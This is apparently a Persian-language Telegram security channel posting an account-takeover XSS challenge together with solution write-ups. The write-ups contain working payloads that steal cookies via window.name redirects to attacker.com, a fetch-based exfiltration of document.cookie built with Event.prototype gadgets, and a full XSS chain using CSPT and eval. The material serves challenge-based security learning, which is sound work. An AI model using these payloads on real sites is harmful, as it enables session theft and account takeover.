😱6🤣4❤1👍1
Forwarded from | | Sharo K h | |
Challenge Time
سلام دوستان یه چالش اکانت تیک اور قشنگ آوردیم
هدف چالش اینه که یه لینک بفرستید به ادمین کلیک کنه و کوکی هاش فرستاده بشه به سایت اتکر
فاز نکنید کل چالش تو همین صفحه هستش
راه حل هاتونو پی وی بفرستید
@arlrouh
https://rouhbakhsh.xyz/index2.php
سطح چالش: سخت
سلام دوستان یه چالش اکانت تیک اور قشنگ آوردیم
هدف چالش اینه که یه لینک بفرستید به ادمین کلیک کنه و کوکی هاش فرستاده بشه به سایت اتکر
فاز نکنید کل چالش تو همین صفحه هستش
راه حل هاتونو پی وی بفرستید
@arlrouh
https://rouhbakhsh.xyz/index2.php
سطح چالش: سخت
❤9 1
Project-Zero
Challenge Time سلام دوستان یه چالش اکانت تیک اور قشنگ آوردیم هدف چالش اینه که یه لینک بفرستید به ادمین کلیک کنه و کوکی هاش فرستاده بشه به سایت اتکر فاز نکنید کل چالش تو همین صفحه هستش راه حل هاتونو پی وی بفرستید @arlrouh https://rouhbakhsh.xyz/index2.php…
بعد از اینکه راه حلشو بذارن
مال خودمو هم میذارم خیلی چیز حقی شد
مال خودمو هم میذارم خیلی چیز حقی شد
🔥10 1
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13😁7🤣5🔥2 2
Forwarded from GO-TO CVE (| | Sharo K h | |)
Solution:
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که بهصورت پیشفرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست میکنیم، کروم اون مقدار رو پاک نمیکنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.
اکسپلویت این موضوع به این شکله:
بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا میشه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.
هدف اصلی ما از این چالش این بود که در مرورگرها، آبجکت window یک property به نام name داره که بهصورت پیشفرض یک رشتهٔ خالیه.
در مرورگر Google Chrome، وقتی مقداری برای این property ست میکنیم، کروم اون مقدار رو پاک نمیکنه مگر اینکه یه مقدار جدید جایگزینش بشه یا کل window بسته بشه.
اکسپلویت این موضوع به این شکله:
";window.name=document.cookie;location.href="//attacker.com";//
بعد از اینکه پنجره به سایت اتکر ریدایرکت شد، اونجا میشه یه کد جاوااسکریپت نوشت و مقدار کوکی رو از داخل window.name خوند.
❤3👏1
خب چلنج شاهرخ خیلی خوب بود چون ریسترکشن هاش زیاد بود و واسه بیشتر راه ها دستمونو میبست
منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه
حالا روشی که من رفتم (steal cookie only):
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
من یه چیز خیلی جالبو فهمیدم و با اون تونستم کوکیو بدزدم.
تیکه کد پایینو ببینید:
بعد از اینکه روش های مشابه اینو رفتم دیدم
متوجه شدم که prototype میتونه property های متفاوتی داشته باشه مثل message
حالا اومدم هردو رو باهم نوشتم و یه چیز خیلی عجیب دیدم
و توی الرت:
name: message
اینو دیدم
و خب کار دیگه خیلی ساده شد:
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
اینجوری کوکی رو میتونی بفرستی واسه هر سایتی که میخوای
روش بعدی FULL XSS
راستش از اولش هم دنبال این بودم که کامل xss کنم و حالا با اون گجت خیلی کارا میشد کرد:
Event.prototype.name="window.location=javascript"
من اینجا به بعد سریع به جواب رسیدم و چیز زیادیو تست نکردم. پس اگه با روش دیگه ای زدید حتما تو کامنت بگید:
حالا باید یه جوری مقدار message رو کد js میذاشتم. و متاسفانه اینجا نتونستم با hash بزنم چون مستقیم هشتگ میفتاد اون اول و خرابش میکرد.
ایده ای که سریع به ذهنم رسید
این بود که با
location.pathname
بزنمش
و اینجا یه گجت دیگه هم پیدا کردم:
CSPT
https://rouhbakhsh.xyz//%0Aeval(location.hash.substr(1))'//%2f..%2findex2.php?q=x%22;window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22window.location=%27javascript%22;Event.prototype.message=location.pathname//#alert(origin)
میخواید پیلود رو ببینید چطوری شده. اون setTimeout رو بکنید alert
تشکر زیاد از شاهرخ:
@Sharo_K_h
منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه
حالا روشی که من رفتم (steal cookie only):
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
من یه چیز خیلی جالبو فهمیدم و با اون تونستم کوکیو بدزدم.
تیکه کد پایینو ببینید:
window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name
بعد از اینکه روش های مشابه اینو رفتم دیدم
متوجه شدم که prototype میتونه property های متفاوتی داشته باشه مثل message
حالا اومدم هردو رو باهم نوشتم و یه چیز خیلی عجیب دیدم
window.onload=alert;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name="name";Event.prototype.message="message"
و توی الرت:
name: message
اینو دیدم
و خب کار دیگه خیلی ساده شد:
https://rouhbakhsh.xyz/index2.php?j&q=x%22;window.onload=fetch;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22//google.com/%22;Event.prototype.message=document.cookie//
اینجوری کوکی رو میتونی بفرستی واسه هر سایتی که میخوای
روش بعدی FULL XSS
راستش از اولش هم دنبال این بودم که کامل xss کنم و حالا با اون گجت خیلی کارا میشد کرد:
Event.prototype.name="window.location=javascript"
window.location=javascript : (Event.prototype.message)
من اینجا به بعد سریع به جواب رسیدم و چیز زیادیو تست نکردم. پس اگه با روش دیگه ای زدید حتما تو کامنت بگید:
حالا باید یه جوری مقدار message رو کد js میذاشتم. و متاسفانه اینجا نتونستم با hash بزنم چون مستقیم هشتگ میفتاد اون اول و خرابش میکرد.
javascript:#anything
ایده ای که سریع به ذهنم رسید
این بود که با
location.pathname
بزنمش
و اینجا یه گجت دیگه هم پیدا کردم:
CSPT
https://rouhbakhsh.xyz//%0Aeval(location.hash.substr(1))'//%2f..%2findex2.php?q=x%22;window.onload=setTimeout;Event.prototype.toString=DOMException.prototype.toString;Event.prototype.name=%22window.location=%27javascript%22;Event.prototype.message=location.pathname//#alert(origin)
میخواید پیلود رو ببینید چطوری شده. اون setTimeout رو بکنید alert
تشکر زیاد از شاهرخ:
@Sharo_K_h
🔥9👏2❤1
Project-Zero
خب چلنج شاهرخ خیلی خوب بود چون ریسترکشن هاش زیاد بود و واسه بیشتر راه ها دستمونو میبست منم روش اصلی رو اصلا نمیدونستم و واقعا باحال بود . اینکه window.name توی کروم برای هر تب (window) مقدارش بعد از جابه جایی بین origin های مختلف تغییر نمیکنه حالا روشی…
اینم یادم رفت اضافه کنم:
@arlrouh
خودش یه راه حل دیگه پیدا کرد که بدون cspt و تبدیل شد به full xss
اگه دوس داشت خودش تو کامنت میفرسته
@arlrouh
خودش یه راه حل دیگه پیدا کرد که بدون cspt و تبدیل شد به full xss
اگه دوس داشت خودش تو کامنت میفرسته
❤6👍1
چند ماهی هست که نمیتونم درست حسابی فعالیت کنم
برای همین بوده دیگه مقاله نذاشتم و خودمم زیاد نخوندم😅
تصمیم گرفتم دوباره برگردم
و هرروز هانت کنم
دوباره هرچی بخونم شیر میکنم باهاتون
برای همین بوده دیگه مقاله نذاشتم و خودمم زیاد نخوندم😅
تصمیم گرفتم دوباره برگردم
و هرروز هانت کنم
دوباره هرچی بخونم شیر میکنم باهاتون
❤14👍3